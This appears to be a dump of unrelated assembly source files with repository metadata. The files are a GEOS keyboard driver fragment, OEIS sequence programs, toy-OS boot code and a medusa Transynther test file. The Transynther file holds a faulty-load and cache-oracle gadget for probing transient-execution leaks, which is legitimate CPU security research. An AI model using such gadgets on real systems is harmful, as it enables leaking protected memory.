KeyDef to check if b7 is 1: offset of slot in ExtendedDef to check DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 5/30/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ KbdFigureModifiedCharOffset proc near .enter ; ; Assume no modifiers. ; mov al, offset KD_char tst ah jz done test ah, mask SS_LSHIFT or mask SS_RSHIFT jz notShifted mov al, offset KD_shiftChar ; assume just shift test ah, mask SS_LCTRL or mask SS_RCTRL jz notShiftCtrl mov al, offset EDD_shiftCtrlChar or 0x80 test ah, mask SS_LALT or mask SS_RALT jz done mov al, offset EDD_shiftCtrlAltChar or 0x80 jmp done notShiftCtrl: test ah, mask SS_LALT or mask SS_RALT jz done ; => just shift mov al, offset EDD_shiftAltChar or 0x80 jmp done notShifted: mov al, offset EDD_altChar or 0x80 test ah, mask SS_LCTRL or mask SS_RCTRL jz done mov al, offset EDD_ctrlChar or 0x80 test ah, mask SS_LALT or mask SS_RALT jz done mov al, offset EDD_ctrlAltChar or 0x80 done: .leave ret KbdFigureModifiedCharOffset endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% HWKeyboardCheckHotkey %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: CALLED BY: GDIKeyboardCheckHotkey PASS: al -> ShiftState bx -> scancode RETURN: ax <- KeyboardErrorCode carry set if key processed carry clear if key not processed DESTROYED: bx, ds, es, dx, cx, di, si SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- kliu 7/17/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ HWKeyboardCheckHotkey proc near .enter if not NT_DRIVER mov ah, al ; ah <- ShiftState mov_tr al, bl ; al <- scancode (PC's ; scancode is a byte) mov bl, ah ; store shiftState in bl mov dx, segment dgroup mov ds, dx ; ds <- dgroup MOV_SEG es, ds test ds:[kbdHotkeyFlags], mask KHF_HAVE_HOTKEY jz done push ax mov cx, ds:[keyboardNumHotkeys] mov di, offset keyboardHotkeys test ds:[kbdHotkeyFlags], mask KHF_ALL_HOTKEY jz search mov ax, SCANCODE_ILLEGAL ; search for special ; key search: repne scasw pop ax clc jne done ; ; Pass the scan code and shift state in the message. ; mov ah, bl mov_tr cx, ax ; cx = <ShiftState, ; scan code> ; ; Found a match. Disable the keyboard interface so the keyboard ; continues to store scan codes, but can't send them to ; us, thereby keeping the scancode in the keyboard data ; latch for the interested external party to read. ; tst ds:[isXTKeyboard] jnz disableXT mov al, KBD_CMD_DISABLE_INTERFACE out KBD_COMMAND_PORT, al jmp sendNotification disableXT: in al, KBD_PC_CTRL_PORT andnf al, not mask XP61_KBD_DISABLE out KBD_PC_CTRL_PORT, al sendNotification: ; ; Flag the hotkey as pending so we know to keep tht ; interface disabled if we suspend ; ornf ds:[kbdHotkeyFlags], mask KHF_HOTKEY_PENDING ; ; Load up the notification message and queue it. ; mov bx, ds:[di-2][keyboardADHandles-keyboardHotkeys] mov si, ds:[di-2][keyboardADChunks-keyboardHotkeys] mov ax, ds:[di-2][keyboardADMessages-keyboardHotkeys] mov di, mask MF_FORCE_QUEUE call ObjMessage stc done: endif mov ax, EC_NO_ERROR clc .leave ret HWKeyboardCheckHotkey endp CallbackCode ends
24.455521
80
0.594439
cffa57f61be75bd6e57d55af042aa414b1a258a4
689
asm
Assembly
oeis/081/A081035.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/081/A081035.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/081/A081035.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A081035: 8th binomial transform of the periodic sequence (1,9,1,1,9,1...). ; Submitted by Jamie Morken(s4) ; 1,17,209,2273,23201,228017,2186609,20620673,192174401,1775688017,16304021009,148995991073,1356782533601,12321773100017,111671069983409,1010465414433473,9132169221980801,82455386442384017,743959522093353809,6708663007623467873,60469158230094196001,544860762201228660017,4908215226723724212209,44205215608902181814273,398065890458840283659201,3584125663980607084248017,32267859524782775477438609,290485835565746161331392673,2614898218990623726223650401,23537763863207971455700668017 mov $1,3 pow $1,$0 pow $1,2 mov $2,7 pow $2,$0 sub $2,$1 mov $0,$2 mul $0,4 sub $1,$0 mov $0,$1
45.933333
482
0.840348
4451f25694535a47117e3e2074ea54b3f85e25e2
196
asm
Assembly
boot/asm/long_mode_init.asm
AtheMathmo/toy-os
29e4c7f3838ce8477e838093c2909f31c72d8649
[ "MIT" ]
11
2016-06-09T06:30:47.000Z
2021-12-25T20:26:07.000Z
boot/asm/long_mode_init.asm
AtheMathmo/toy-os
29e4c7f3838ce8477e838093c2909f31c72d8649
[ "MIT" ]
null
null
null
boot/asm/long_mode_init.asm
AtheMathmo/toy-os
29e4c7f3838ce8477e838093c2909f31c72d8649
[ "MIT" ]
1
2016-06-09T00:14:59.000Z
2016-06-09T00:14:59.000Z
global long_mode_start section .text bits 64 long_mode_start: extern rust_main call rust_main ; print `OKAY` to screen mov rax, 0x2f592f412f4b2f4f mov qword [0xb8000], rax hlt
16.333333
31
0.729592
aebbd21ae6dadc18aab2d0614544ac457f477d9c
570
asm
Assembly
oeis/064/A064746.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/064/A064746.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/064/A064746.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A064746: a(n) = n*8^n + 1. ; 1,9,129,1537,16385,163841,1572865,14680065,134217729,1207959553,10737418241,94489280513,824633720833,7146825580545,61572651155457,527765581332481,4503599627370497,38280596832649217,324259173170675713,2738188573441261569,23058430092136939521,193690812773950291969,1623313478486440542209,13576803638250229989377,113336795588871485128705,944473296573929042739201,7858017827495089635590145,65281994259189975434133505,541598767187353870268366849,4487532642409503496509325313,37138201178561408246973726721 mov $2,8 pow $2,$0 mul $0,$2 add $0,1
71.25
501
0.880702
449208ec5281fa6fdc12206076e0fcdf36e93105
8,119
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_1148_1295.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_1148_1295.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_1148_1295.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r14 push %r15 push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_WT_ht+0x16e2a, %rbp nop nop add %rsi, %rsi mov $0x6162636465666768, %rbx movq %rbx, (%rbp) nop nop nop add %rbx, %rbx lea addresses_A_ht+0x516a, %r15 nop nop nop nop cmp $14295, %r14 mov (%r15), %r10w nop nop nop nop nop dec %r15 lea addresses_WT_ht+0x1dd2a, %r15 nop nop inc %rdi mov (%r15), %r14 nop xor %r10, %r10 lea addresses_WT_ht+0xbfaa, %rbx nop nop nop add %r15, %r15 movups (%rbx), %xmm3 vpextrq $1, %xmm3, %r10 nop nop nop and %r14, %r14 lea addresses_UC_ht+0x12aea, %rbp clflush (%rbp) nop nop and %rdi, %rdi movw $0x6162, (%rbp) and %rbp, %rbp lea addresses_D_ht+0x932a, %r10 dec %rbp movl $0x61626364, (%r10) nop nop nop cmp $22580, %rbx lea addresses_D_ht+0x159aa, %rbx clflush (%rbx) nop nop nop lfence movw $0x6162, (%rbx) nop nop sub $57567, %r15 lea addresses_normal_ht+0x1152a, %r15 nop nop nop nop nop and %r10, %r10 mov $0x6162636465666768, %rbp movq %rbp, (%r15) nop nop nop nop cmp $32533, %r15 lea addresses_D_ht+0x1ac57, %rsi lea addresses_D_ht+0x1c82a, %rdi nop xor $28541, %r10 mov $0, %rcx rep movsq nop nop nop nop add %rdi, %rdi lea addresses_WC_ht+0xc798, %rsi nop nop nop nop nop add %r15, %r15 movups (%rsi), %xmm2 vpextrq $1, %xmm2, %rbx nop nop nop cmp %rbx, %rbx lea addresses_UC_ht+0x177aa, %rsi clflush (%rsi) cmp %rdi, %rdi movl $0x61626364, (%rsi) nop nop nop nop nop xor $51308, %rcx lea addresses_D_ht+0x1e1aa, %rsi nop nop inc %r10 movl $0x61626364, (%rsi) nop nop nop add $48769, %rbx lea addresses_WT_ht+0x15dea, %rbp nop nop nop add $17734, %rdi movb (%rbp), %cl nop nop nop nop nop add $29900, %rbp lea addresses_D_ht+0x592a, %r10 cmp $41470, %rbp movb $0x61, (%r10) nop nop nop xor $42518, %rbp lea addresses_A_ht+0x12d2a, %rsi lea addresses_A_ht+0x14aa, %rdi cmp %r10, %r10 mov $79, %rcx rep movsw nop nop sub $60136, %r10 pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %r15 pop %r14 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r14 push %rax push %rcx push %rdi // Store lea addresses_normal+0x1262a, %r14 nop nop nop nop xor %rax, %rax mov $0x5152535455565758, %rcx movq %rcx, (%r14) and $50159, %rax // Load lea addresses_RW+0x1752a, %rcx nop nop add %r10, %r10 vmovaps (%rcx), %ymm2 vextracti128 $1, %ymm2, %xmm2 vpextrq $0, %xmm2, %r14 nop cmp $179, %r11 // Faulty Load lea addresses_RW+0x1252a, %r10 nop inc %r11 movups (%r10), %xmm5 vpextrq $0, %xmm5, %rdi lea oracles, %rcx and $0xff, %rdi shlq $12, %rdi mov (%rcx,%rdi,1), %rdi pop %rdi pop %rcx pop %rax pop %r14 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_RW', 'same': False, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_normal', 'same': False, 'size': 8, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_RW', 'same': False, 'size': 32, 'congruent': 9, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_RW', 'same': True, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 8, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_A_ht', 'same': False, 'size': 2, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 8, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 16, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 2, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 4, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_D_ht', 'same': True, 'size': 2, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 8, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 16, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 4, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 4, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_WT_ht', 'same': True, 'size': 1, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 1, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM'} {'32': 1148} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
33.004065
2,999
0.653529
70b1963ac2bfb61e0b80c16a096d4e622405fe84
6,151
asm
Assembly
src/amd64/multiboot.asm
sts-q/OSDevAsm
7a76fcadee0f181913351797ca0a24437475e0c4
[ "BSD-3-Clause" ]
null
null
null
src/amd64/multiboot.asm
sts-q/OSDevAsm
7a76fcadee0f181913351797ca0a24437475e0c4
[ "BSD-3-Clause" ]
null
null
null
src/amd64/multiboot.asm
sts-q/OSDevAsm
7a76fcadee0f181913351797ca0a24437475e0c4
[ "BSD-3-Clause" ]
null
null
null
; References: ; - http://wiki.osdev.org/Bare_Bones ; - https://davidad.github.io/blog/2014/02/18/kernel-from-scratch/ (David A. Dalrymple) use32 extern osdevasm_main ; this is our kernel's entry point ; Setting up the Multiboot header - see GRUB docs for details MBALIGN equ 1<<0 ; Align loaded modules on page boundaries MEMINFO equ 1<<1 ; Provide memory map ;;; GRAPHICS equ 1<<2 GRAPHICS equ 1<<0 ; std 80x25 FLAGS equ MBALIGN | MEMINFO | GRAPHICS ; This is the Multiboot 'flag' field MAGIC equ 0x1BADB002 ; 'magic number' lets bootloader find the header CHECKSUM equ -(MAGIC + FLAGS) ; Checksum required to prove that we are multiboot STACK_SIZE equ 0x4000 ; Stack size is 16KiB VBE_MODE equ 0 VBE_WIDTH equ 1024 VBE_HEIGHT equ 768 VBE_DEPTH equ 32 ; The multiboot header must come first. section .multiboot ; Multiboot header must be aligned on a 8-byte boundary align 8 multiboot_header: dd MAGIC dd FLAGS dd CHECKSUM dd 0 dd 0 dd 0 dd 0 dd 0 dd VBE_MODE dd VBE_WIDTH dd VBE_HEIGHT dd VBE_DEPTH ; The beginning of our kernel code section .text global multiboot_entry multiboot_entry: mov esp, stack + STACK_SIZE ; set up the stack mov [magic], ebx ; multiboot magic number mov [multiboot_info], eax ; multiboot data structure ;------------ ; Now we're going to set up the page tables for 64-bit mode. ; Since this is a minimal example, we're just going to set up a single page. ; The 64-bit page table uses four levels of paging, ; PML4E table => PDPTE table => PDE table => PTE table => physical addr ; You don't have to use all of them, but you have to use at least the first ; three. So we're going to set up PML4E, PDPTE, and PDE tables here, each ; with a single entry. %define PML4E_ADDR 0x8000 %define PDPTE_ADDR 0x9000 %define PDE_ADDR 0xa000 ; Set up PML4 entry, which will point to PDPT entry. mov dword eax, PDPTE_ADDR ; The low 12 bits of the PML4E entry are zeroed out when it's dereferenced, ; and used to encode metadata instead. Here we're setting the Present and ; Read/Write bits. You might also want to set the User bit, if you want a ; page to remain accessible in user-mode code. or dword eax, 0b011 ; Would be 0b111 to set User bit also mov dword [PML4E_ADDR], eax ; Although we're in 32-bit mode, the table entry is 64 bits. We can just zero ; out the upper bits in this case. mov dword [PML4E_ADDR+4], 0 ; Set up PDPT entry, which will point to PD entry. mov dword eax, PDE_ADDR or dword eax, 0b011 mov dword [PDPTE_ADDR], eax mov dword [PDPTE_ADDR+4], 0 ; Set up PD entry, which will point to the first 2MB page (0). But we ; need to set three bits this time, Present, Read/Write and Page Size (to ; indicate that this is the last level of paging in use). mov dword [PDE_ADDR], 0b10000011 mov dword [PDE_ADDR+4], 0 ; Enable PGE and PAE bits of CR4 to get 64-bit paging available. mov eax, 0b10100000 mov cr4, eax ; Set master (PML4) page table in CR3. mov eax, PML4E_ADDR mov cr3, eax ; Set IA-32e Mode Enable (read: 64-bit mode enable) in the "model-specific ; register" (MSR) called Extended Features Enable (EFER). mov ecx, 0xc0000080 rdmsr ; takes ecx as argument, deposits contents of MSR into eax or eax, 0b100000000 wrmsr ; exactly the reverse of rdmsr ; Enable PG flag of CR0 to actually turn on paging. mov eax, cr0 or eax, 0x80000000 mov cr0, eax ; Load Global Descriptor Table (outdated access control, but needs to be set) lgdt [gdt_hdr] ; Jump into 64-bit zone. jmp 0x08:_64_bits bits 64 _64_bits: ;;; call osdevasm_main ; calling the kernel call main ; calling main: display.asm hang: hlt ; something bad happened, machine halted jmp hang %include "display.asm" ; Global descriptor table entry format ; See Intel 64 Software Developers' Manual, Vol. 3A, Figure 3-8 ; or http://en.wikipedia.org/wiki/Global_Descriptor_Table %macro GDT_ENTRY 4 ; %1 is base address, %2 is segment limit, %3 is flags, %4 is type. dw %2 & 0xffff dw %1 & 0xffff db (%1 >> 16) & 0xff db %4 | ((%3 << 4) & 0xf0) db (%3 & 0xf0) | ((%2 >> 16) & 0x0f) db %1 >> 24 %endmacro %define EXECUTE_READ 0b1010 %define READ_WRITE 0b0010 %define RING0 0b10101001 ; Flags set: Granularity, 64-bit, Present, S; Ring=00 ; Note: Ring is determined by bits 1 and 2 (the only "00") ; Global descriptor table (loaded by lgdt instruction) gdt_hdr: dw gdt_end - gdt - 1 dd gdt gdt: GDT_ENTRY 0, 0, 0, 0 GDT_ENTRY 0, 0xffffff, RING0, EXECUTE_READ GDT_ENTRY 0, 0xffffff, RING0, READ_WRITE ; You'd want to have entries for other rings here, if you were using them. gdt_end: section .bss nobits align=8 ; Reserve initial kernel stack space stack: resb STACK_SIZE ; reserve 16 KiB stack multiboot_info: resd 1 ; we will use this in kernel's main magic: resd 1 ; we will use this in kernel's main section .data global kernel_stack_bottom kernel_stack_bottom: dd stack global kernel_stack_size kernel_stack_size: dd STACK_SIZE vga_mem: equ 0xb8000 vga_line: dd 0 vga_col: dd 0 vga_attr: dd 0 ; vga_attr := attr << 8 --> bx := chr+attr; vga[]:=bx kbd_buffer: db 64 kbd_buffer_end: kbd_read_ptr: dd 0 kbd_write_ptr: dd 0
33.612022
110
0.608194
cbc70f65a855504432bfb8a41262df0f022faf60
1,213
asm
Assembly
programs/oeis/053/A053478.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/053/A053478.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/053/A053478.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A053478: Sum of iterates when phi, A000010, is iterated until fixed point 1. ; 1,3,6,7,12,9,16,15,18,17,28,19,32,23,30,31,48,27,46,35,40,39,62,39,60,45,54,47,76,45,76,63,68,65,74,55,92,65,78,71,112,61,104,79,84,85,132,79,110,85,114,91,144,81,126,95,112,105,164,91,152,107,118,127,144,101,168,131,148,109,180,111,184,129,146,131,168,117,196,143,162,153,236,123,212,147,182,159,248,129,202,171,184,179,206,159,256,159,190,171,272,165,268,183,184,197,304,163,272,181,222,191,304,169,274,211,228,223,278,183,302,213,266,215,296,181,308,255,252,209,340,203,296,235,246,263,400,217,356,219,312,251,326,223,336,257,270,259,408,221,372,263,312,245,338,235,392,275,342,287,364,243,406,307,308,319,486,247,404,297,334,295,468,269,358,319,388,337,516,259,440,293,366,343,408,277,474,359,352,301,492,319,512,353,354,319,516,289,488,343,404,373,450,331,492,371,410,367,468,289,500,395,432,411,462,327,476,381,442,363,540,333,556,383,408,417,644,339,568,389,414,423,656,345,578,447,472,397,636,367,608,423,486,427,492,389,574,431,556,421 mov $3,$0 lpb $0 mov $4,$0 cal $4,10 ; Euler totient function phi(n): count numbers <= n and prime to n. mov $0,$4 sub $0,1 add $2,$4 lpe mov $1,8 add $1,$2 sub $1,7 add $1,$3
75.8125
946
0.70981
4e117a2283dbd050996c4481bac956c510169ba6
516
asm
Assembly
oeis/160/A160204.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/160/A160204.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/160/A160204.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A160204: Decimal expansion of (873+232*sqrt(2))/809. ; Submitted by Christian Krause ; 1,4,8,4,6,6,9,4,0,2,3,1,2,1,8,5,4,7,7,5,3,0,2,7,4,1,4,5,8,7,9,6,6,6,1,9,8,0,5,7,0,6,2,8,8,6,3,8,7,4,5,6,0,6,0,5,4,0,1,6,0,3,2,0,4,1,2,6,6,9,8,8,2,5,7,5,0,4,1,8,2,0,7,8,2,8,0,5,8,1,9,4,8,5,8,0,0,7,9,7 bin $1,$0 mov $2,2 mov $3,$0 mul $3,4 lpb $3 add $5,$2 add $1,$5 add $2,$1 mov $1,$2 sub $3,1 lpe mul $1,2 add $2,$5 mov $4,10 pow $4,$0 add $5,$2 div $2,8 mul $2,13 add $2,$5 div $2,$4 div $1,$2 mov $0,$1 mod $0,10
18.428571
201
0.542636
80bd2f6a286ff8f70650e0ec715624d2c48d571e
617
asm
Assembly
src/test/ref/ptrtestmin.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
2
2022-03-01T02:21:14.000Z
2022-03-01T04:33:35.000Z
src/test/ref/ptrtestmin.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
src/test/ref/ptrtestmin.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
// Test all types of pointers // Commodore 64 PRG executable file .file [name="ptrtestmin.prg", type="prg", segments="Program"] .segmentdef Program [segments="Basic, Code, Data"] .segmentdef Basic [start=$0801] .segmentdef Code [start=$80d] .segmentdef Data [startAfter="Code"] .segment Basic :BasicUpstart(main) .segment Code main: { // A constant pointer .label SCREEN = $400 lda #0 ldx #2 __b1: // while(i<10) cpx #$a bcc __b2 // SCREEN[999] = b sta SCREEN+$3e7 // } rts __b2: // b = SCREEN[i++] lda SCREEN,x // b = SCREEN[i++]; inx jmp __b1 }
19.903226
61
0.606159
c8f4cf3fbaa1941e64ec8f01168472ee4f4c2579
1,269
asm
Assembly
UP1/Algorithms/class7.asm
rubemfsv/Digital-Control-Systems
cce73b7d2803cb85806568674dc35fb67ac824c5
[ "MIT" ]
null
null
null
UP1/Algorithms/class7.asm
rubemfsv/Digital-Control-Systems
cce73b7d2803cb85806568674dc35fb67ac824c5
[ "MIT" ]
null
null
null
UP1/Algorithms/class7.asm
rubemfsv/Digital-Control-Systems
cce73b7d2803cb85806568674dc35fb67ac824c5
[ "MIT" ]
null
null
null
#INCLUDE<P16F84A.INC> #DEFINE BANK0 BCF STATUS,RP0 #DEFINE BANK1 BSF STATUS,RP0 #DEFINE BOTAO0 PORTA,0 #DEFINE BOTAO1 PORTA,1 TEMP EQU 0x2C ORG 0x00 GOTO INICIO ;--- SE UM VALOR ACIMA DE 31 É INSERIDO NA PORTA B O LED A0 DEVE FICAR ACESO ---; INICIO CLRW CLRF PORTB CLRF PORTA BANK1 MOVLW 0 ;todos os bits de A sao de saida MOVWF TRISA MOVLW 0xFF ;todos os bits de B sao de entrada MOVWF TRISB BANK0 MAIN MOVLW D'31' ;atribui o valor 31 pro registrador de trabalho MOVWF TEMP ;move o valor do registrador de trabalho (31) para temp MOVF PORTB,0 ;move o valor de portb para o registrador de trabalho SUBWF TEMP ;subtrai do registrador de trabalho o valor de temp. 31 - portb BTFSS STATUS,C ;se o bit c de status tiver GOTO ACENDE ;se o valor de c for 0, a subtração deu negativa então o valor era maior que 31 então acende GOTO APAGA ;se o valor de c for 1 a subtração deu maior ou igual a zero então o valor era no máximo 31 ACENDE BSF PORTA,0 ;acende o led 0 de A GOTO MAIN APAGA BCF PORTA,0 ;apaga o led 0 de A GOTO MAIN END
27.586957
116
0.618597
3dfc32e964f53f65fdf914243d5f4ab049209cd1
4,018
asm
Assembly
